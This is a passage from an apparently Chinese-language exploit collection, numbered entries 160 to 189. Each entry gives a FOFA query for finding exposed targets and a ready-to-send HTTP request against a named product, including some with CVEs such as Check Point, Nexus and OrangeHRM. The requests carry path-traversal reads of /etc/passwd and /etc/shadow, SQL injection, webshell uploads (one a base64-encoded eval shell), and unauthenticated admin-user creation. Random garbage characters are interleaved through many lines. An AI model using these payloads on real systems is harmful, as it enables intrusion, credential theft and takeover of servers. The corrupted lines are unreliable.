, w/ p& K/ [( Z- ?5 }6 mSoapaction: "http://rainier/jobUpload"
/ {# d  j, u# d" k. T: D
& U% J7 v4 M2 ]4 T9 z/ f+ i<?xml version="1.0" encoding="utf-8"?>
- h4 y% p* v$ M' e# A9 ]<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ i, y$ i, L3 N9 [4 T<soap:Body>
3 J1 z; ~3 [1 o, @<jobUpload xmlns="http://rainier">
* j9 b1 h6 f' V/ I/ h: y% I" V<vcode>1</vcode>
<subFolder></subFolder>
& s- f) T, ^/ M6 K7 O. ?) o7 u4 R5 t<fileName>abcrce.asmx</fileName>
4 z4 D* N0 t3 f6 O3 R2 Z<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
8 s# L6 @# D$ \' t</jobUpload>
& W4 p, h: g9 v$ T</soap:Body>
</soap:Envelope>

2 u0 ~' h$ X! S' ^3 ?" f3 A
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
) L) `! L* Y8 [1 }CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
. O% ]! s. g* L+ g1 H4 L7 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
/ y0 K9 e- {" fAccept: */*
Accept-Language: en
5 T: c0 `5 p& r! y% xAccept-Encoding: gzip
) G! `7 h( l* r# e! x

% E% k3 o. ~) R8 \161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
" w* f" g% e2 `, ?4 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ q$ h- j: \& F3 DConnection: close
Content-Length: 445
Content-Type: text/xml
1 ^1 f% a# f% PAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
. ~7 m" ]/ J5 J; X  m<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ E/ c$ q# w2 l; P<soap:Body>
4 C( J% C7 f1 h" ?  Y- `. K: [0 \. {<UploadResume xmlns="http://tempuri.org/">
6 \( `  d5 g% _+ A<ip>1</ip>
8 Q3 ?* k3 x! L# ?- u<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
! [$ s6 d2 e$ y$ f% S$ L' f% Q<tag>3</tag>
</UploadResume>
( i) W, |% R: A" F2 _- [# P) L</soap:Body>
</soap:Envelope>
, [  [' F+ T7 v. V
( B- m0 @3 p3 _" |  C
http://x.x.x.x/dizxdell.aspx

. ^7 R0 f$ T4 @3 j5 m4 U5 ?1 c162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
8 q- Q- Z! ]. d2 BPOST /QH.aspx HTTP/1.1
9 [) A3 }- a2 i' |+ S+ aHost: x.x.x.x
1 l& H  g. i! s. A! qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
2 K. {$ G+ a+ s  _4 n7 i: {  i; s1 QConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
: k) [& C" f$ R. I$ o% f+ iAccept-Encoding: gzip
2 X% h8 N; ?, d! K. w  Y4 [2 \" Y
0 K3 g8 [  h2 Q. E5 d0 L/ U& x1 o------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
- V9 `: r: v' l! \) I- ?Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
7 e' z5 Y% _( `6 h! E' ]Content-Disposition: form-data; name="action"

$ z& b  p5 ?( }* c( R7 W& v8 ~upload
7 e$ K, C- j5 u! p: q------WebKitFormBoundaryeegvclmyurlotuey
2 L9 d+ ^  q; z) p  ZContent-Disposition: form-data; name="responderId"
  w' g& f/ b8 _# T) H4 |
ResourceNewResponder
$ K6 m3 x2 g+ T7 C------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
1 M" K' A% p+ N
6 p$ g9 k7 a$ \9 ?' _- ?/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

5 O8 F% M  _$ q) m1 m/ s6 r  b) j/ ~
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
. U  u! c- y5 S8 u7 B0 VPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
( W- a* c: \% H' C# ]. S' lContent-Length: 293
. Z1 n6 m' D6 n5 LAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. c+ |4 f; d! \$ a# |Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

3 Y% u' T' M% O1 Q------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
( l' Z+ |  L6 s: ^7 ~Content-Type: image/jpeg

0 S/ {' E+ I' j% b4 w- Jrvjhvbhwwuooyiioxega
' S, @# X, B7 x' p) s- |3 o------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
; V9 }9 L7 i/ {; vFOFA: title="智慧综合管理平台登入"
( G: @( ~9 b# P% Z% ^- B9 NPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
% S1 L3 i  u6 l: v; E  WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
- o4 Q( u2 z. J. z" v9 Q- ?Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
( w- Y( h; b+ F/ ]Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
: O( u9 N% B8 J8 O. m& tX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
" k$ n* O2 n  ]9 n- p
# q9 t1 }% T* }------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
3 b; ^: [9 O% w4 [
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
% ^# X' |0 Q$ I! w------dqdaieopnozbkapjacdbdthlvtlyl--

# e' j  _: h! x2 z* A
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
- i1 X: Q+ k! f2 {$ B$ aCVE-2024-36428
, `/ n4 J7 Q. n5 |5 ?FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
' f! X  a/ U7 u8 W" G
* c5 Q1 q9 E- ^, l2 r3 F/ w
, o0 h  z' ^) {6 }' f% ]166. 中成科信票务管理平台SeatMapHandler SQL注入
  A! R% I9 E, c! y2 s7 @* ^/ p6 `FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
( b7 Q; k# [# p& c+ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 K' d; ^% H8 {2 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
' o8 r+ \" w# ]; I" {0 tCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
! n1 f* U1 Z* RContent-Length: 89

/ g/ @2 N1 C9 {Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
/ n( Y1 U% a" n* W" Y
# B5 m% X0 o! k& q, n- S
- x9 b( S  L8 ~167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 I& T" d" `; IFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
2 I$ Q' z, y" H, s- w6 q6 l* SHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
2 ]: G" h$ E/ w% h# rAccept: */*
  Z; F  B* i. j3 \9 m; ^Connection: keep-alive

. [  A1 s! Q4 t: j5 ~
  P: R  c, `+ X& }: ]7 D! }168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
4 ^1 l$ J- |/ Q7 K1 }- s5 a6 LContent-Type: application/x-www-form-urlencoded
Connection: close

/ L$ U; F. X: z
9 c- {. Z+ E" `
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
, e' H' P) ^  VGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


% d; L' X9 _% o) [
- T9 j0 z) d( R6 e) q+ B6 m' `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
- n6 b4 ]8 {" K& g4 dHost: balalanengliang
: O$ Y+ r. ?1 O6 @6 u3 OUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ T2 R5 [7 d3 E  @; Z- H- a3 YContent-Type: application/x-www-form-urlencoded
; |/ x7 P  C! ?3 N# j9 K5 t! ~
filename=../webapps/ROOT/WEB-INF/web.xml
" e; c8 @& \& J) S2 [8 J
- B& V+ E3 ]; V  ]7 x
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
2 O* [$ V* q# yGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
1 d$ `) N; l% ~! }2 N2 `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
+ f& q& l* i3 f4 M( rAccept: */*
6 i" `/ s) f9 S, o4 o8 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: L7 m1 @7 n7 ?) QConnection: close



172. DT-高清车牌识别摄像机任意文件读取
" m9 n0 I1 Y' U7 y" C& UFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. z9 J" Z8 Y8 p6 o8 vAccept-Encoding: gzip, deflate
, W. j) d/ V" aAccept: */*
Connection: keep-alive
' G7 G, a0 Z3 ~0 b0 S0 B, q9 [
9 a3 |( U# J) x1 ~, {+ b
- u7 g5 p( B% e( O, r( A! S
173. Check Point 安全网关任意文件读取
9 x7 P* O5 g1 h2 J" t3 mCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
7 z1 Z  H! Q4 x+ Q; B3 d5 g( G
8 B0 I' V5 E5 daCSHELL/../../../../../../../etc/shadow



5 v9 g' ]  d( \174. 金和OA C6 FileDownLoad.aspx 任意文件读取
( }$ o/ X* i, ZFOFA：app="金和网络-金和OA"
! Z3 _( O! G, P& `: _$ GGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
3 c6 Q2 Z: X5 }! I  ^1 OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 M2 L3 Z: e* ^- R$ T" M3 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 c2 @* g) B4 ~! U5 U$ B& i4 M$ WAccept-Encoding: gzip, deflate, br
) x0 c, F* M" OAccept-Language: zh-CN,zh;q=0.9
; m7 x  N& u0 ~# {; @# aConnection: close
' F! Y  Z# d8 C0 B


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
9 u+ h* Z' \9 v) tFOFA：app="金和网络-金和OA"
' [+ u( r. b; ^GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
4 Y% f$ l& m2 x5 ~  f: ~Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 S& ?. C1 r$ |5 S' F2 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 s: H5 A4 H6 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( e+ y5 b% d. J* AAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
  U+ j- B+ x' Y4 j) t$ f; `5 h$ O

1 g7 ]0 i: @+ N: l; E$ R, i0 |176. 电信网关配置管理系统 rewrite.php 文件上传
  e; f$ H4 Y* k( WFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
0 J, R) o( E4 r& K, U, z% B) HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 a2 Q' p6 W9 G$ X' T* U8 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

' P# _0 E% ]$ E* T------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
/ r4 O! B/ l3 }3 w/ Z------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
" T- h* y% L) P9 `0 m1 s
6 o$ u' U9 @* {* v
; W# U- D+ b9 ^# ?1 [' H2 y3 P------WebKitFormBoundaryOKldnDPT--

6 K0 V& o% T) K7 ]( x' _
* v/ G; r$ ^; |( D  |
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 @9 P. x- t8 r: u9 z! [: T' I/userLogin.asp/../actionpolicy_status/../M60.cfg
% K9 M, r; i- x* j, z/userLogin.asp/../actionpolicy_status/../GR8300.cfg
: m$ a0 O$ B6 k  L: _. K/userLogin.asp/../actionpolicy_status/../GR5200.cfg
( T/ S2 T8 t* t7 x/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
" H6 F" \: u$ L. |! C/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
+ f! z* F9 l9 D5 w1 `/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/ _3 n8 W$ T( t/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
3 N7 C7 a6 h: w! W/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
7 [( T8 k3 ]3 c+ m/ m- k8 N/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
& E$ ~1 v" {' Q* L

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
* X% Q1 ~3 O. g0 [6 f" r  [FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
1 e' ?7 F+ W. v3 X- @Accept-Encoding: gzip, deflate
( ]' z6 z5 p$ PConnection: close
. L7 l* A. Z8 |" |5 yContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
0 o& S6 E; g4 Z6 N* ?Content-Length: 255

$ q) n. W: s7 c3 r2 M: q6 W' I12234
-----------------aqutkea7vvanpqy3rh2l--

" n7 c  b9 C/ i* M: p; g0 v) i
GET /imc/primepush/%2e%2e/flex/12234.txt
5 B: \1 u. s+ j2 T8 H9 {! _, \& ^4 |

179. 建文工程管理系统存在任意文件读取
6 h- v, m6 R  X, s! F5 E* N" a) y. _POST /Common/DownLoad2.aspx HTTP/1.1
4 O! C* {% {% n1 q4 K* }) {Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

% a8 C( q: r/ U: ]3 x* N+ q! Ypath=../log4net.config&Name=

- S7 K. x; r( O. u+ c* }4 L+ V$ {
- j( l6 ~% Q: o180. 帮管客 CRM jiliyu SQL注入
' d( e9 g1 c- \7 c8 S2 sFOFA：app="帮管客-CRM"
7 m- [, [4 [: C* @3 RGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ i1 x/ t0 z) _* f7 K2 |0 M. kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. G5 [, w, F' a2 \* iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

( a# |6 k. }$ ?& f9 E3 Q+ r5 \% m) d
9 E1 b% e$ g5 ?181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
( E( H! ?7 x3 V% ~  G# Z8 Y8 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" z6 x( X. F% m0 u; f# zAccept-Encoding: gzip, deflate, br
1 A% ^- S: G; b/ T$ G% FAccept-Language: zh-CN,zh;q=0.9
Connection: close
- }* s) l) y6 \8 M' z; k3 o) aContent-Type: application/x-www-form-urlencoded
9 n/ ]3 D1 }/ r1 n; L
! S4 m/ @' c9 y+ I  m# W" z
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
4 Q1 \0 S" Q0 [1 T8 a; h! y. d

4 j/ d: ^; L4 r8 _( t5 Q182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 P/ \3 a8 w% Z- A+ wFOFA："PDCA/js/_publicCom.js"
) c/ c2 N5 ]% e: U5 j' bPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
: a& t7 t# j4 `* r# mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ p0 K: P7 V2 W! p/ x- N1 w( qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 C; M5 O( H% z; IContent-Type: application/x-www-form-urlencoded

& j# r1 w, S8 k
: l: j& w/ ~5 h: F, cusername=test1234&pwd=test1234&savedays=1
: d' k2 K% a. k

2 p  W1 N# B0 a! [- H, W183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
; I* m8 P2 D3 l. u& j6 ^' @GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 T1 B- k& F' @* I, s7 ?( r( sAccept-Charset: utf-8
2 f! k; D7 n+ ^9 `2 a' [& YAccept-Encoding: gzip, deflate
9 ~- z6 s5 r3 M+ x+ ]* I7 @  zConnection: close
" |% |) ~* X2 d0 }' B
) L4 K$ i- H) z7 d5 e! D) j2 A
9 y  H; a% n8 `# l7 h184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
3 C( X8 \, f# `7 J4 J8 XPOST /soap/AddUser HTTP/1.1
" m$ Q, t0 _. ?) A9 p2 LHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
/ N. _. A+ _3 hAccept: application/xml, text/xml, */*; q=0.01
0 W1 @4 e: J$ {6 a/ P- G+ \Content-Type: text/xml; charset=utf-8
9 q0 u+ j# d1 Q; I; ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
$ {7 W4 [! e$ ?- z* z0 J: J; S
, q7 u8 f( l7 q; r1 B
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
% G) d% o, H& v7 Dversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
* v- T0 b* U2 [5 z- a8 N

  B/ [% B7 T, x" w. m) r9 }% T186. F-logic DataCube3 SQL注入
8 E, p, t) w% hCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 x* q/ s8 x% E& |/ gFOFA：title=="DataCube3"
0 o* l  H' j9 f/ X( d. vPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
4 ?9 W9 L$ D. AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
4 j) j; a3 D& O& w5 D  x5 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. y; h# `/ e! m/ l' m; ]1 O) @$ x8 {1 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 {  v, i! c$ N. W9 \% I  pAccept-Encoding: gzip, deflate
8 h2 k5 P& ?# T/ xConnection: close
Content-Type: application/x-www-form-urlencoded

. Z+ B: B, R3 z# y! xreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
4 l3 u: @& E0 w2 H
5 d3 R& P$ w( f2 m- F3 N
8 d8 M9 J' T) u* }187. Mura CMS processAsyncObject SQL注入
6 I- A2 t* b: @( U( A( c% ^CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

; w1 K4 N& r. u6 V& V
188. 叁体-佳会视频会议 attachment 任意文件读取
! h6 C$ H" D, |8 Xversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 z2 a5 l0 l  g3 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 e- `7 h' V4 H4 X4 e& n8 gAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: _. e1 |8 }7 d2 l* U% H, O

* R) u# L) S( \189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 j; E+ R+ P  E! ]FOFA：app="LANWON-临床浏览系统"
/ r5 x" y. y0 jGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
